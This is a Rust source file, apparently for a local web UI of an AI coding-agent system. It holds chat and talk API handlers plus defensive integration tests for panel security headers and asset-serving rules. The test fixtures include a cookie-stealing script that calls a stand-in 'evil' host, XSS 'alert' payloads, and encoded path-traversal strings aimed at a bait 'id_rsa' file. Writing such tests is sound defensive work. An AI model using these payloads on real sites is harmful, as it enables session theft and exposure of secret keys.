3388 let ui = Arc::clone(&ui);
3389 let from_id = body.from.clone();
3390 blocking(move || match from_id {
3391 None => Ok(None),
3392 Some(id) => {
3393 let resolved = resolve_chat(&ui.chats, &id)?;
3394 Ok(Some(ui.chats.get(&resolved)?))
3395 }
3396 })
3397 .await?
3398 };
3399
3400 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3406 let cfg = {
3407 let repo = repo.clone();
3408 blocking(move || {
3409 Config::discover(&repo, None)
3410 .map(|(cfg, _)| cfg)
3411 .map_err(ApiError::bad_request_from)
3412 })
3413 .await?
3414 };
3415
3416 let mut chat = {
3422 let cfg = cfg.clone();
3423 let idea = body.idea.clone();
3424 let agent = body.agent.clone();
3425 let from = from.clone();
3426 blocking(move || {
3427 chat::build(&cfg, repo, &idea, agent.as_deref(), from.as_ref())
3428 .map_err(ApiError::bad_request_from)
3429 })
3430 .await?
3431 };
3432
3433 let _turn = ui.begin_turn(&chat.id)?;
3441
3442 chat = {
3445 let ui = Arc::clone(&ui);
3446 blocking(move || {
3447 ui.chats.put(&mut chat)?;
3448 Ok(chat)
3449 })
3450 .await?
3451 };
3452 let thinking = ui.is_thinking(&chat.id);
3453 let queued = ChatView::new(chat.clone(), thinking);
3454
3455 let chats = ui.chats.clone();
3456 let id = chat.id.clone();
3457 tokio::spawn(async move {
3458 let _turn = _turn;
3459 if let Err(e) = chat::first_turn(&mut chat, &chats, &cfg, from.as_ref()).await {
3460 tracing::warn!("chat {id} first turn failed: {e:#}");
3464 }
3465 });
3466
3467 Ok((StatusCode::ACCEPTED, Json(queued)))
3471}
3472
3473#[derive(Debug, Default, Deserialize)]
3475#[serde(default, deny_unknown_fields)]
3476struct NewTurn {
3477 text: String,
3478}
3479
3480async fn chat_say(
3506 State(ui): State<Arc<Ui>>,
3507 Path(id): Path<String>,
3508 body: std::result::Result<Json<NewTurn>, JsonRejection>,
3509) -> ApiResult<(StatusCode, Json<ChatView>)> {
3510 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3511 if body.text.trim().is_empty() {
3512 return Err(ApiError::bad_request("say something"));
3513 }
3514
3515 let id = {
3516 let ui = Arc::clone(&ui);
3517 let asked = id.clone();
3518 blocking(move || resolve_chat(&ui.chats, &asked)).await?
3519 };
3520 let _turn = ui.begin_turn(&id)?;
3524
3525 let (chat, cfg) = {
3526 let ui = Arc::clone(&ui);
3527 let id = id.clone();
3528 blocking(move || {
3529 let chat = ui.chats.get(&id)?;
3530 let (cfg, _) = Config::discover(&chat.repo, None)?;
3531 Ok((chat, cfg))
3532 })
3533 .await?
3534 };
3535
3536 let chats = ui.chats.clone();
3551 let text = {
3552 let mut chat = chat.clone();
3553 let chats = chats.clone();
3554 let said = body.text.clone();
3555 blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
3556 };
3557 let mut chat = {
3560 let ui = Arc::clone(&ui);
3561 let id = id.clone();
3562 blocking(move || Ok(ui.chats.get(&id)?)).await?
3563 };
3564 let thinking = ui.is_thinking(&id);
3565 let queued = ChatView::new(chat.clone(), thinking);
3566 tokio::spawn(async move {
3567 let _turn = _turn;
3568 if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
3569 tracing::warn!("chat {id} turn failed: {e:#}");
3572 }
3573 });
3574
3575 Ok((StatusCode::ACCEPTED, Json(queued)))
3579}
3580
3581#[derive(Debug, Default, Deserialize)]
3583#[serde(default, deny_unknown_fields)]
3584struct FileDraft {
3585 priority: i32,
3586}
3587
3588async fn chat_file(
3595 State(ui): State<Arc<Ui>>,
3596 Path(id): Path<String>,
3597 body: std::result::Result<Json<FileDraft>, JsonRejection>,
3598) -> ApiResult<Json<serde_json::Value>> {
3599 let body = match body {
3604 Ok(Json(body)) => body,
3605 Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
3606 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3607 };
3608
3609 blocking(move || {
3610 let id = resolve_chat(&ui.chats, &id)?;
3611 let mut chat = ui.chats.get(&id)?;
3612 if let Err(problems) = chat::draft_problems(&chat) {
3617 return Err(ApiError::bad_request_with(
3618 "the draft is not fileable yet",
3619 problems,
3620 ));
3621 }
3622 let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
3623 Ok(Json(serde_json::json!({ "task": task })))
3624 })
3625 .await
3626}
3627
3628fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
3630 pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
3631}
3632
3633#[derive(Debug, Serialize)]
3639struct TalkView {
3640 #[serde(flatten)]
3641 talk: Talk,
3642 turn_bodies_md: Vec<Vec<md::Node>>,
3643}
3644
3645impl From<Talk> for TalkView {
3646 fn from(talk: Talk) -> Self {
3647 let turn_bodies_md = talk
3648 .turns
3649 .iter()
3650 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3651 .collect();
3652 Self {
3653 turn_bodies_md,
3654 talk,
3655 }
3656 }
3657}
3658
3659#[derive(Debug, Serialize)]
3664struct TalkDetailView {
3665 #[serde(flatten)]
3666 view: TalkView,
3667 tasks: Vec<TaskView>,
3668}
3669
3670async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3675 blocking(move || {
3676 Ok(Json(
3677 ui.talks.list().into_iter().map(TalkView::from).collect(),
3678 ))
3679 })
3680 .await
3681}
3682
3683#[derive(Debug, Default, Deserialize)]
3689#[serde(default)]
3690struct NewTalk {
3691 agent: Option<String>,
3692 repo: Option<PathBuf>,
3693}
3694
3695async fn talk_post(
3698 State(ui): State<Arc<Ui>>,
3699 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3700) -> ApiResult<impl IntoResponse> {
3701 let body = match body {
3705 Ok(Json(body)) => body,
3706 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3707 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3708 };
3709 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3710 let cfg = config_for(&repo).await?;
3711 let view = blocking(move || {
3712 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3713 Ok(TalkView::from(talk))
3714 })
3715 .await?;
3716 Ok((StatusCode::CREATED, Json(view)))
3717}
3718
3719async fn talk_detail(
3721 State(ui): State<Arc<Ui>>,
3722 Path(id): Path<String>,
3723) -> ApiResult<Json<TalkDetailView>> {
3724 blocking(move || {
3725 let id = resolve_talk(&ui.talks, &id)?;
3726 let talk = ui.talks.get(&id)?;
3727 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3728 .into_iter()
3729 .map(TaskView::from)
3730 .collect();
3731 Ok(Json(TalkDetailView {
3732 view: TalkView::from(talk),
3733 tasks,
3734 }))
3735 })
3736 .await
3737}
3738
3739#[derive(Debug, Default, Deserialize)]
3741#[serde(default, deny_unknown_fields)]
3742struct NewTalkTurn {
3743 text: String,
3744}
3745
3746async fn talk_say(
3758 State(ui): State<Arc<Ui>>,
3759 Path(id): Path<String>,
3760 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3761) -> ApiResult<(StatusCode, Json<TalkView>)> {
3762 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3763 if body.text.trim().is_empty() {
3764 return Err(ApiError::bad_request("say something"));
3765 }
3766
3767 let id = {
3768 let ui = Arc::clone(&ui);
3769 let asked = id.clone();
3770 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3771 };
3772 let _turn = ui.begin_talk_turn(&id)?;
3776
3777 let (talk, cfg) = {
3778 let ui = Arc::clone(&ui);
3779 let id = id.clone();
3780 blocking(move || {
3781 let talk = ui.talks.get(&id)?;
3782 let (cfg, _) = Config::discover(&talk.repo, None)?;
3783 Ok((talk, cfg))
3784 })
3785 .await?
3786 };
3787
3788 let talks = ui.talks.clone();
3789 let text = {
3790 let mut talk = talk.clone();
3791 let talks = talks.clone();
3792 let said = body.text.clone();
3793 blocking(move || Ok(talk::record(&mut talk, &talks, &said)?)).await?
3794 };
3795 let talk = {
3798 let ui = Arc::clone(&ui);
3799 let id = id.clone();
3800 blocking(move || Ok(ui.talks.get(&id)?)).await?
3801 };
3802 let queued = talk.clone();
3803 tokio::spawn(async move {
3804 let _turn = _turn;
3805 let mut talk = talk;
3806 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3807 tracing::warn!("talk {id} turn failed: {e:#}");
3810 }
3811 });
3812
3813 Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
3815}
3816
3817async fn talk_close(
3819 State(ui): State<Arc<Ui>>,
3820 Path(id): Path<String>,
3821) -> ApiResult<Json<TalkView>> {
3822 blocking(move || {
3823 let id = resolve_talk(&ui.talks, &id)?;
3824 let mut talk = ui.talks.get(&id)?;
3825 talk::close(&mut talk, &ui.talks)?;
3826 Ok(Json(TalkView::from(talk)))
3827 })
3828 .await
3829}
3830
3831async fn talk_reopen(
3833 State(ui): State<Arc<Ui>>,
3834 Path(id): Path<String>,
3835) -> ApiResult<Json<TalkView>> {
3836 blocking(move || {
3837 let id = resolve_talk(&ui.talks, &id)?;
3838 let mut talk = ui.talks.get(&id)?;
3839 talk::reopen(&mut talk, &ui.talks)?;
3840 Ok(Json(TalkView::from(talk)))
3841 })
3842 .await
3843}
3844
3845async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3855 blocking(move || {
3856 let id = resolve_talk(&ui.talks, &id)?;
3857 ui.talks.remove(&id)?;
3858 Ok(StatusCode::NO_CONTENT)
3859 })
3860 .await
3861}
3862
3863fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3865 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3866}
3867
3868async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3876 let repo = repo.to_path_buf();
3877 blocking(move || {
3878 let (cfg, _) = Config::discover(&repo, None)?;
3879 Ok(cfg)
3880 })
3881 .await
3882}
3883
3884fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3890 let mut hits = ids
3891 .into_iter()
3892 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3893 match (hits.next(), hits.next()) {
3894 (Some(one), None) => Ok(one),
3895 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3896 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3897 "`{prefix}` matches more than one {what}, including {a} and {b}"
3898 ))),
3899 }
3900}
3901
3902#[cfg(test)]
3903mod tests {
3904 use pretty_assertions::assert_eq;
3905 use serde_json::Value;
3906 use tempfile::TempDir;
3907 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3908
3909 use super::*;
3910 use crate::config::Config;
3911 use crate::queue::{Source, TaskStatus};
3912
3913 struct Fixture {
3919 home: TempDir,
3920 addr: SocketAddr,
3921 }
3922
3923 impl Fixture {
3924 async fn start() -> Self {
3925 Self::with_loop(launch_idle).await
3926 }
3927
3928 async fn with_loop(launch: Launch) -> Self {
3930 let home = TempDir::new().expect("temp home");
3931 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
3932 Self { home, addr }
3933 }
3934
3935 async fn with_repo(repo: PathBuf) -> Self {
3939 let home = TempDir::new().expect("temp home");
3940 let addr = Self::serve(home.path(), repo, launch_idle).await;
3941 Self { home, addr }
3942 }
3943
3944 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
3945 let queue = Queue::at(home.join("queue"));
3946 let runs = home.join("runs");
3947 std::fs::create_dir_all(&runs).expect("runs dir");
3948 let worktrees = home.join("wt").join("magi");
3949 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
3950 let ui = Ui::new(
3951 queue,
3952 Questions::at(home.join("questions")),
3953 Chats::at(home.join("chats")),
3954 Talks::at(home.join("talks")),
3955 runs,
3956 home.to_path_buf(),
3957 repo,
3958 )
3959 .with_worktrees_root(worktrees)
3960 .with_launch(launch);
3961 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
3962 .await
3963 .expect("bind loopback");
3964 let addr = listener.local_addr().expect("local addr");
3965 tokio::spawn(async move {
3966 let _ = axum::serve(listener, ui.router()).await;
3967 });
3968 addr
3969 }
3970
3971 fn queue(&self) -> Queue {
3972 Queue::at(self.home.path().join("queue"))
3973 }
3974
3975 fn questions(&self) -> Questions {
3976 Questions::at(self.home.path().join("questions"))
3977 }
3978
3979 fn chats(&self) -> Chats {
3980 Chats::at(self.home.path().join("chats"))
3981 }
3982
3983 fn talks(&self) -> Talks {
3984 Talks::at(self.home.path().join("talks"))
3985 }
3986
3987 fn runs(&self) -> PathBuf {
3988 self.home.path().join("runs")
3989 }
3990
3991 async fn get(&self, path: &str) -> Res {
3992 request(self.addr, "GET", path, None).await
3993 }
3994
3995 async fn head(&self, path: &str) -> Res {
4000 request(self.addr, "HEAD", path, None).await
4001 }
4002
4003 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4004 request(self.addr, "POST", path, body).await
4005 }
4006
4007 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4008 request_with(self.addr, "GET", path, None, extra).await
4009 }
4010
4011 async fn delete(&self, path: &str) -> Res {
4012 request(self.addr, "DELETE", path, None).await
4013 }
4014 }
4015
4016 struct Res {
4017 status: u16,
4018 headers: String,
4019 head: String,
4024 body: String,
4025 bytes: Vec<u8>,
4029 }
4030
4031 impl Res {
4032 fn json(&self) -> Value {
4033 serde_json::from_str(&self.body)
4034 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4035 }
4036
4037 fn header(&self, name: &str) -> Option<&str> {
4039 self.head.lines().find_map(|line| {
4040 let (key, value) = line.split_once(':')?;
4041 key.trim()
4042 .eq_ignore_ascii_case(name)
4043 .then(|| value.trim_start().trim_end_matches('\r'))
4044 })
4045 }
4046 }
4047
4048 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4051 request_with(addr, method, path, body, &[]).await
4052 }
4053
4054 async fn request_with(
4058 addr: SocketAddr,
4059 method: &str,
4060 path: &str,
4061 body: Option<&str>,
4062 extra: &[(&str, &str)],
4063 ) -> Res {
4064 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4065 for (name, value) in extra {
4066 head.push_str(&format!("{name}: {value}\r\n"));
4067 }
4068 if let Some(body) = body {
4069 head.push_str("Content-Type: application/json\r\n");
4070 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4071 }
4072 head.push_str("\r\n");
4073 if let Some(body) = body {
4074 head.push_str(body);
4075 }
4076 let mut socket = tokio::net::TcpStream::connect(addr)
4077 .await
4078 .expect("connect to the test server");
4079 socket
4080 .write_all(head.as_bytes())
4081 .await
4082 .expect("write request");
4083 let mut raw = Vec::new();
4084 socket.read_to_end(&mut raw).await.expect("read response");
4085 let split = raw
4088 .windows(4)
4089 .position(|w| w == b"\r\n\r\n")
4090 .expect("a header block");
4091 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4092 let bytes = raw[split + 4..].to_vec();
4093 let status = head
4094 .lines()
4095 .next()
4096 .and_then(|line| line.split_whitespace().nth(1))
4097 .and_then(|code| code.parse().ok())
4098 .expect("a status line");
4099 Res {
4100 status,
4101 headers: head.to_lowercase(),
4102 head,
4103 body: String::from_utf8_lossy(&bytes).into_owned(),
4104 bytes,
4105 }
4106 }
4107
4108 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4110 let mut state = RunState::new(
4111 PathBuf::from("/repo/magi"),
4112 "main".to_owned(),
4113 "0123456789abcdef".to_owned(),
4114 "Add a web UI\n\nMobile first.".to_owned(),
4115 Config::default(),
4116 );
4117 state.id = id.to_owned();
4118 state.status = status;
4119 let dir = runs.join(id);
4120 std::fs::create_dir_all(&dir).expect("run dir");
4121 std::fs::write(
4122 dir.join("run.json"),
4123 serde_json::to_string_pretty(&state).expect("serialize run"),
4124 )
4125 .expect("write run.json");
4126 }
4127
4128 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4129 let body = serde_json::json!({
4130 "schema": 1,
4131 "pid": 4242,
4132 "started_at": Timestamp::now().to_string(),
4133 "updated_at": updated_at.to_string(),
4134 "idle": false,
4135 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4136 "completed": 7,
4137 "polls": 143,
4138 });
4139 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4140 }
4141
4142 fn launch_idle(
4152 _opts: daemon::Opts,
4153 stop: daemon::Stop,
4154 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4155 Box::pin(async move {
4156 while !stop.stopped() {
4157 tokio::time::sleep(Duration::from_millis(2)).await;
4158 }
4159 Ok(())
4160 })
4161 }
4162
4163 fn launch_broken(
4166 _opts: daemon::Opts,
4167 _stop: daemon::Stop,
4168 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4169 Box::pin(async {
4170 Err(anyhow::anyhow!(
4171 "publish the daemon status file: read-only file system"
4172 ))
4173 })
4174 }
4175
4176 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4183 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4184
4185 fn launch_knocking_on_the_way_out(
4192 _opts: daemon::Opts,
4193 stop: daemon::Stop,
4194 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4195 Box::pin(async move {
4196 while !stop.stopped() {
4197 tokio::time::sleep(Duration::from_millis(2)).await;
4198 }
4199 let addr = PARK_KNOCK
4200 .lock()
4201 .expect("park knock")
4202 .expect("the test set an address");
4203 let heard = request(addr, "GET", "/api/health", None).await.status;
4204 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4205 Ok(())
4206 })
4207 }
4208
4209 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4217 for _ in 0..200 {
4218 let view = fx.get("/api/loop").await.json();
4219 if want(&view) {
4220 return view;
4221 }
4222 tokio::time::sleep(Duration::from_millis(10)).await;
4223 }
4224 panic!(
4225 "the loop never settled: {}",
4226 fx.get("/api/loop").await.json()
4227 );
4228 }
4229
4230 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4232 let store = fx.questions();
4233 let mut q = Question::new(
4234 "20260902-000000-beef".to_owned(),
4235 "implement".to_owned(),
4236 "impl-A".to_owned(),
4237 summary.to_owned(),
4238 "because it matters".to_owned(),
4239 choices.iter().map(|c| (*c).to_owned()).collect(),
4240 );
4241 store.put(&mut q).expect("put question");
4242 q.id
4243 }
4244
4245 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4251 let store = fx.questions();
4252 let mut q = Question::new(
4253 "20260902-000000-beef".to_owned(),
4254 "land".to_owned(),
4255 "fix".to_owned(),
4256 "Merge this?".to_owned(),
4257 "the diff is in the panel".to_owned(),
4258 vec!["merge".to_owned(), "hold".to_owned()],
4259 );
4260 let staging = fx.home.path().join("staging");
4263 std::fs::create_dir_all(&staging).expect("staging dir");
4264 let sources: Vec<PathBuf> = assets
4265 .iter()
4266 .map(|(name, bytes)| {
4267 let path = staging.join(name);
4268 std::fs::write(&path, bytes).expect("write staged asset");
4269 path
4270 })
4271 .collect();
4272 store
4273 .put_panel(&mut q, html, &sources)
4274 .expect("write the panel");
4275 store.put(&mut q).expect("put question");
4276 q.id
4277 }
4278
4279 fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
4287 let store = fx.chats();
4288 std::fs::create_dir_all(store.root()).expect("chats dir");
4289 let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
4290 .expect("serialize a seat");
4291 let body = serde_json::json!({
4292 "schema": 1,
4293 "id": id,
4294 "repo": "/repo/magi",
4295 "agent": "sonnet",
4296 "status": status,
4297 "turns": [
4298 { "who": "operator", "body": "rework the config loader",
4299 "at": Timestamp::now().to_string() },
4300 { "who": "agent", "body": "Which part is hurting?",
4301 "at": Timestamp::now().to_string() },
4302 ],
4303 "draft": draft,
4304 "task": Value::Null,
4305 "created_at": Timestamp::now().to_string(),
4306 "updated_at": Timestamp::now().to_string(),
4307 "seat": seat,
4308 });
4309 std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
4310 store.get(id).expect("the seeded chat has to be readable");
4313 id.to_owned()
4314 }
4315
4316 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4319 let store = fx.talks();
4320 std::fs::create_dir_all(store.root()).expect("talks dir");
4321 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4322 .expect("serialize a seat");
4323 let body = serde_json::json!({
4324 "schema": 1,
4325 "id": id,
4326 "repo": "/repo/magi",
4327 "agent": "mock",
4328 "status": status,
4329 "turns": [],
4330 "created_at": Timestamp::now().to_string(),
4331 "updated_at": Timestamp::now().to_string(),
4332 "seat": seat,
4333 });
4334 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4335 store.get(id).expect("the seeded talk has to be readable");
4336 id.to_owned()
4337 }
4338
4339 fn good_draft() -> String {
4342 "# Rework the config loader\n\n\
4343 ## Why\n\n\
4344 It re-reads `magi.toml` on every lookup, so a run that asks for the \
4345 roster four hundred times pays four hundred parses of the same file.\n\n\
4346 ## What\n\n\
4347 Load the layers once when the run starts and hand the merged value \
4348 around. Nothing about the file format changes.\n\n\
4349 ## Acceptance criteria\n\n\
4350 - `Config::discover` is called exactly once per run.\n\
4351 - `cargo test` passes with no change to any existing assertion.\n"
4352 .to_owned()
4353 }
4354
4355 #[tokio::test]
4356 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4357 let fx = Fixture::start().await;
4358 let id = panel(
4359 &fx,
4360 "<h1>Merge?</h1><img src=\"diff.svg\">",
4361 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4362 );
4363
4364 for path in [
4365 format!("/api/questions/{id}/panel"),
4366 format!("/api/questions/{id}/asset/diff.svg"),
4367 ] {
4368 let res = fx.get(&path).await;
4369 assert_eq!(res.status, 200, "{path}: {}", res.body);
4370 assert_eq!(
4376 res.header("content-security-policy"),
4377 Some(
4378 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4379 font-src data:; base-uri 'none'; form-action 'none'; \
4380 frame-ancestors 'self'"
4381 ),
4382 "{path} is the only thing between a hostile panel and the tailnet"
4383 );
4384 assert_eq!(
4385 res.header("x-content-type-options"),
4386 Some("nosniff"),
4387 "{path}: a browser must not re-decide the type we sent"
4388 );
4389 assert_eq!(
4390 res.header("referrer-policy"),
4391 Some("no-referrer"),
4392 "{path}: a panel must not leak the question id off the machine"
4393 );
4394
4395 let pre = fx.head(&path).await;
4400 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4401 assert_eq!(
4402 pre.header("content-security-policy"),
4403 res.header("content-security-policy"),
4404 "{path}: the preflight carries the same policy"
4405 );
4406 assert_eq!(
4407 pre.header("content-type"),
4408 res.header("content-type"),
4409 "{path}: the preflight carries the same type"
4410 );
4411 }
4412 }
4413
4414 #[tokio::test]
4415 async fn a_panel_reaches_the_browser_byte_for_byte() {
4416 let fx = Fixture::start().await;
4417 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4422 let id = panel(&fx, html, &[]);
4423
4424 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4425
4426 assert_eq!(res.status, 200);
4427 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4428 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4429 assert_eq!(
4430 res.header("content-disposition"),
4431 None,
4432 "the panel itself is rendered in the frame, not downloaded"
4433 );
4434 }
4435
4436 #[tokio::test]
4437 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4438 let fx = Fixture::start().await;
4439 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4440 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4441 let id = panel(
4442 &fx,
4443 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4444 &[("diff.svg", svg), ("shot.png", png)],
4445 );
4446
4447 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4448 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4449
4450 assert_eq!(as_svg.status, 200);
4451 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4452 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4457
4458 assert_eq!(as_png.status, 200);
4459 assert_eq!(as_png.header("content-type"), Some("image/png"));
4460 assert_eq!(
4461 as_png.header("content-disposition"),
4462 None,
4463 "a raster image has no execution surface, so tapping it still shows it"
4464 );
4465 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4466 }
4467
4468 #[tokio::test]
4469 async fn an_html_asset_is_never_served_as_html() {
4470 let fx = Fixture::start().await;
4471 let id = panel(
4472 &fx,
4473 "<p>see the notes</p>",
4474 &[
4475 (
4476 "notes.html",
4477 b"<script>fetch('http://evil/'+document.cookie)</script>",
4478 ),
4479 ("hook.js", b"fetch('http://evil/')"),
4480 ("data.json", b"{}"),
4481 ("HEADLINE.TXT", b"plain"),
4482 ],
4483 );
4484
4485 for name in ["notes.html", "hook.js", "data.json"] {
4486 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4487 assert_eq!(res.status, 200, "{name}: {}", res.body);
4488 assert_eq!(
4493 res.header("content-type"),
4494 Some("application/octet-stream"),
4495 "{name} must not be a type the browser will execute or render"
4496 );
4497 }
4498 let txt = fx
4501 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4502 .await;
4503 assert_eq!(
4504 txt.header("content-type"),
4505 Some("text/plain; charset=utf-8")
4506 );
4507 }
4508
4509 #[tokio::test]
4510 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4511 let fx = Fixture::start().await;
4512 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4513 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4517
4518 for encoded in [
4525 "%2e%2e%2fid_rsa",
4526 "..%2fid_rsa",
4527 "..%5cid_rsa",
4528 "%2e%2e%5cid_rsa",
4529 "diff%00.svg",
4530 "..",
4531 ".hidden",
4532 "%2e%2e%2f%2e%2e%2fid_rsa",
4533 ] {
4534 let res = fx
4535 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4536 .await;
4537 assert_eq!(
4538 res.status, 400,
4539 "`{encoded}` has to be refused by name, not looked up: {}",
4540 res.body
4541 );
4542 assert!(res.json()["error"].is_string(), "{}", res.body);
4543 }
4544
4545 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4551 let res = fx
4552 .get(&format!("/api/questions/{id}/asset/{literal}"))
4553 .await;
4554 assert_eq!(
4555 res.status, 404,
4556 "`{literal}` must not match the asset route at all: {}",
4557 res.body
4558 );
4559 }
4560 }
4561
4562 #[tokio::test]
4563 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4564 let fx = Fixture::start().await;
4565 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4566 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4567
4568 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4572 assert_eq!(none.status, 404, "{}", none.body);
4573 assert!(none.json()["error"].is_string(), "{}", none.body);
4574 assert_eq!(
4575 fx.head(&format!("/api/questions/{plain}/panel"))
4576 .await
4577 .status,
4578 404,
4579 "the preflight is the only way the client can learn this"
4580 );
4581
4582 let missing = fx
4584 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4585 .await;
4586 assert_eq!(missing.status, 404, "{}", missing.body);
4587 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4588
4589 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4591 assert_eq!(
4592 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4593 404
4594 );
4595 }
4596
4597 #[tokio::test]
4598 async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
4599 let fx = Fixture::start().await;
4600 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4601
4602 interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
4603 interview(&fx, "20260903-014456-open", "open", None);
4604
4605 let listed = fx.get("/api/chats").await;
4606 assert_eq!(listed.status, 200, "{}", listed.body);
4607 let chats = listed.json();
4608 assert_eq!(chats.as_array().map(Vec::len), Some(2));
4609 assert_eq!(
4610 chats[0]["id"], "20260903-014456-open",
4611 "an unfinished interview is what the operator came back for: {chats}"
4612 );
4613 assert_eq!(chats[0]["status"], "open");
4614 assert_eq!(chats[0]["turns"][0]["who"], "operator");
4617 assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
4618 assert_eq!(chats[1]["status"], "filed");
4619
4620 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
4623 }
4624
4625 #[tokio::test]
4626 async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
4627 let fx = Fixture::start().await;
4628 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4629
4630 let full = fx.get(&format!("/api/chats/{id}")).await;
4631 assert_eq!(full.status, 200, "{}", full.body);
4632 assert_eq!(full.json()["id"], id);
4633 assert_eq!(full.json()["repo"], "/repo/magi");
4634
4635 let short = fx.get("/api/chats/ab12").await;
4637 assert_eq!(short.status, 200, "{}", short.body);
4638 assert_eq!(short.json()["id"], id);
4639
